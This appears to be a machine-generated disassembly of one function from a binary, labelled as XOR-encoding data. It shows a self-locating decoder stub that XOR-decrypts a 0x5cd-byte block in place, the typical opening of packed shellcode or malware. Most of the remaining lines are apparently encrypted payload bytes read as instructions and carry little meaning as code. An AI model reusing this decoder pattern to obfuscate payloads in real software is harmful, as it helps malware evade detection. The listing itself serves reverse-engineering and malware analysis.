Function at 0xeda5e8
Capabilities:
Encode data using xor

Disassembly:
inc esp
dec ecx
test dword [0x48e6], 0x8eb00
jmp 0xeda5f2
add byte [eax + 0xb], bl
add byte [eax], al
jmp 0xeda5f2
pushal
call 0xeda5f8
pop ebp
sub ebp, 0x10
sub ebp, 0xada5e8
jmp 0xeda60e
mov eax, 0xada5e8
add eax, ebp
add eax, 0x4c
mov ecx, 0x5cd
mov edx, 0xcb59ec68
add eax, 0x68ba0000
in al, dx
pop ecx
retf
xor byte [eax], dl
inc eax
dec ecx
jne 0xeda625
jmp 0xeda638
jecxz 0xeda5df
jecxz 0xeda61d
push esp
push 0xa9e96868
nop
push 0xa56b6868
shr byte [eax + ebp*2 + 0x68], 1
push 0x686840d2
push 0xa06b8a9f
jecxz 0xeda641
test eax, 0x68686890
imul esp, dword [ebp + 0x68686cd0], 0x68
rol byte [eax + 0x68], cl
push 0x6b8a9f68
mov al, byte [0x6864e9e3]
push 0x38ad6b68
in eax, 0xc
dec esp
push 0xad6b6868
cmp ch, ah
or al, 0x4c
xchg esp, eax
loope 0xeda6d1
dec esp
add byte [ebp + ebp + 0x79006848], bh
or ch, ah
push 0x4c4469
xor bh, al
cmp byte [eax], ah
sub byte [ebp + 0x68], 0x68
push 0x68685c81
push 0x944c0ce5
push 0x5c816868
push 0xce56868
dec esp
or al, 0x4c
xchg esp, eax
loope 0xeda6cc
dec esp
cmp al, 0x35
jecxz 0xeda67a
pushal
push 0xfde36868
push 0xe5e36868
js 0xeda703
push 0x6a81a968
pop ecx
push 0xffffffffffffffeb
stosb byte es:[edi], al
insb byte es:[edi], dx
and dword [edi - 0x13], esp
pushfd
xchg edi, eax
xchg edi, eax
xchg edi, eax
jecxz 0xeda6f2
dec esp
in eax, 0xc
dec esp
insb byte es:[edi], dx
stosb byte es:[edi], al
push 0x6c4ce4e3
push 0xbc006868
sub eax, 0x79006848
or ch, ah
push 0xe54c4469
or al, 0x4c
dec esp
xchg esp, eax
loope 0xeda734
dec esp
sub byte [ebp + 0x68], 0x68
push 0x686a2981
push 0x29816868
push 0x68
push 0x4c04e53d
push 0x97641d97
sbb eax, 0x681a8060
push 0x60d5e368
push 0xa15b6868
jmp 0x38ef8a92
mov eax, dword [0x1e39ae9]
cmp byte [eax - 0x17], dl
lcall 0xba5b, 0x503801e3
jmp 0xeda683
insd dword es:[edi], dx
and byte [edi - 0x14], ah
push 0xe0676868
and byte [eax + 0x68], ch
push 0x5174e30e
call 0xed5527ad
jb 0xeda784
push 0x8193e868
in al, dx
jns 0xeda78d
push 0x93e90e68
xchg edi, eax
dec ebp
in al, dx
jge 0xeda798
push 0xa4812968
movsb byte es:[edi], byte [esi]
xchg edi, eax
xchg edi, eax
xchg edi, eax
inc ecx
and al, 0x51
imul ebp, ebx, 0x80eb6da9
insb byte es:[edi], dx
adc ebp, 0x41979797
cmp al, 0x51
push 0xffffffffffffffeb
test eax, 0x6c82eb6e
jmp 0xeda6d3
push 0x3e84e33d
aas
cmp eax, 0xe3641de3
adc eax, 0xe8da9460
loop 0xeda7dc
jmp 0x69561121
imul ebp, dword [eax + 0x68], 0xe96fe068
scasd eax, dword es:[edi]
push 0xafe96fe0
imul ebp, dword [eax + 0x68], 0x686ad368
push 0x67ba6a68
mov edx, 0x686ded67
push 0x2e7ee268
jp 0xeda748
in eax, dx
in eax, dx
insd dword es:[edi], dx
push 0x7ee26868
jp 0xeda748
mov edx, 0x97b0eb67
jmp 0xeda741
xchg edi, eax
xchg edi, eax
xchg edi, eax
push 0xffffffffffffffba
in eax, dx
insd dword es:[edi], dx
push 0x7ee26868
jp 0xeda75b
mov edx, 0x6802eb67
push 0x6aa85b68
mov edx, 0x686ded67
push 0x2e7ee268
jp 0xeda770
jmp 0xeda7a6
push 0xba6aa85b
in eax, dx
insd dword es:[edi], dx
push 0x7ee26868
jp 0xeda770
push 0x7a2e7ee2
mov edx, 0x6942eb67
push 0x67ba6a68
in eax, dx
insd dword es:[edi], dx
push 0x7ee26868
jp 0xeda783
jmp 0xeda7fb
jnp 0xeda773
push 0xffffffffffffffba
in eax, dx
insd dword es:[edi], dx
push 0x7ee26868
jp 0xeda792
jnp 0xeda782
push 0xffffffffffffffba
in eax, dx
in eax, dx
insd dword es:[edi], dx
push 0x7ee26868
jp 0xeda7a1
jnp 0xeda791
push 0xffffffffffffffba
in eax, dx
in eax, dx
insd dword es:[edi], dx
push 0x7ee26868
jp 0xeda7b0
jnp 0xeda7a0
in al, dx
outsb dx, byte [esi]
push 0xb7e36868
inc ebx
mov al, 0xe2
imul esp, eax, 0x6f
das
shr dword [edx + 0x68], cl
push 0x97188168
xchg edi, eax
xchg edi, eax
shr byte [ecx + 0x68], 1
push 0x67ba6a68
in eax, dx
insd dword es:[edi], dx
push 0x7ee26868
jp 0xeda7dd
jnp 0xeda7cd
push 0xffffffffffffffba
in eax, dx
insd dword es:[edi], dx
push 0x7ee26868
jp 0xeda7ec
ljmp 0xab43:0x979797b6